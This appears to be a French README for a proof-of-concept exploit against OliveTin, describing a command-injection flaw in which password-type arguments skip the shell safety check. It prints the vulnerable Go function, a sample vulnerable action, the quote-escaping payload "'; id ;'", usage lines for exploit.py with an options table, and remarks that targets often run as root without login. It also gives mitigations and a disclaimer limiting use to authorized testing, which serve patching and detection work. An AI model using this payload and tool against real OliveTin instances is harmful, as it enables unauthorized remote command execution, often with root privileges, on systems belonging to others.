
OliveTin permet à un administrateur de définir des « actions » : des commandes shell avec des arguments paramétrés que les utilisateurs peuvent déclencher depuis une interface web ou une API. Avant d'insérer une valeur fournie par l'utilisateur dans la commande shell, OliveTin est censé la faire passer par checkShellArgumentSafety(). Cette fonction vérifie quatre types d'arguments : string, int, bool, choice. Elle ignore entièrement password et retourne true, c'est-à-dire « sûr », sans examiner la valeur du tout.
Donc, si une action a un argument de type password et que cet argument est substitué dans une chaîne de commande shell, vous pouvez y mettre n'importe quoi. Points-virgules, backticks, $(), peu importe. Si l'argument est entouré de guillemets dans la commande sous-jacente (un schéma courant pour des choses comme les mots de passe de base de données), sortir des guillemets suffit.
func checkShellArgumentSafety(argType string, value string) bool {
dangerousTypes := []string{"string", "int", "bool", "choice"}
for _, dt := range dangerousTypes {
if argType == dt {
return sanitizeInput(value)
}
}
// password type falls through here, unchecked
return true
}
Concerne OliveTin jusqu'à 3000.10.0 inclus. Corrigé dans la branche 3000.11.1 (commit 0.0.0-20260222101908-4bbd2eab1532), qui ajoute password aux types vérifiés. Avis : GHSA-49gm-hh7w-wfvf. CVSS 9.9.
Tout cas où un argument de type password se retrouve dans une chaîne shell, généralement entre guillemets :
- title: Backup database
id: backup_db
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /tmp/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
db_pass est entre guillemets simples sans aucune vérification. Envoyez '; id ;' comme valeur et OliveTin exécute id avant que l'appel mysqldump malformé échoue. L'échec n'a pas d'importance ; la commande injectée a déjà été exécutée, sous l'utilisateur avec lequel OliveTin tourne. Dans beaucoup de configurations, c'est root, parce que les gens l'exécutent sous systemd sans ligne User= et n'y repensent plus.
Vous n'avez besoin d'aucun identifiant pour tout cela si l'instance a authRequireGuestsToLogin: false défini, ce qui est courant sur les déploiements plus petits ou amateurs.
pip install requests
python3 exploit.py -u <target> --action backup_db --arg db_pass -x "id"
Si l'action a besoin d'autres arguments pour s'exécuter sans erreur avant que votre commande injectée ne s'exécute, passez-les avec --extra-arg :
python3 exploit.py -u 10.0.0.5 --action backup_db --arg db_pass \
--extra-arg db_user=admin --extra-arg db_name=prod -x "whoami"
Le script envoie un POST vers StartAction, attend deux secondes, puis interroge ExecutionStatus et affiche ce qui revient. Vous verrez généralement la sortie de votre commande injectée au-dessus d'une erreur de la commande légitime qui s'est exécutée ensuite et a échoué. C'est attendu. L'erreur est cosmétique ; votre commande a déjà été exécutée.
Mettez OliveTin à jour au-delà de 3000.10.0. Si vous ne le pouvez pas encore : retirez tout argument de type password des actions accessibles aux utilisateurs non fiables, désactivez l'exécution par les invités et cessez de laisser les valeurs d'arguments être interpolées dans les chaînes shell si vous pouvez l'éviter. Passez plutôt les secrets par des variables d'environnement ou par un fichier qu'OliveTin lit à un chemin fixe. Et n'exécutez pas le service en tant que root. Il n'y a aucune raison pour qu'un exécuteur de tâches ait ce privilège.
exploit.py : le script du PoCREADME.md : ce fichierCeci est destiné aux personnes qui corrigent leurs propres instances OliveTin, écrivent des détections ou testent des systèmes qu'elles sont autorisées à tester. Ne le dirigez pas vers quoi que ce soit que vous ne possédez pas ou sur lequel vous n'avez pas la permission d'intervenir. C'est votre responsabilité, pas celle de l'auteur.
| option | à quoi ça sert | défaut |
|---|
-u, --url | hôte ou IP cible | requis |
-p, --port | port d'OliveTin | 1337 |
--action | bindingId de l'action vulnérable | requis |
--arg | nom de l'argument de type password | requis |
-x, --cmd | commande à injecter | id |
--extra-arg | autres arguments dont l'action a besoin, name=value, répétable | aucun |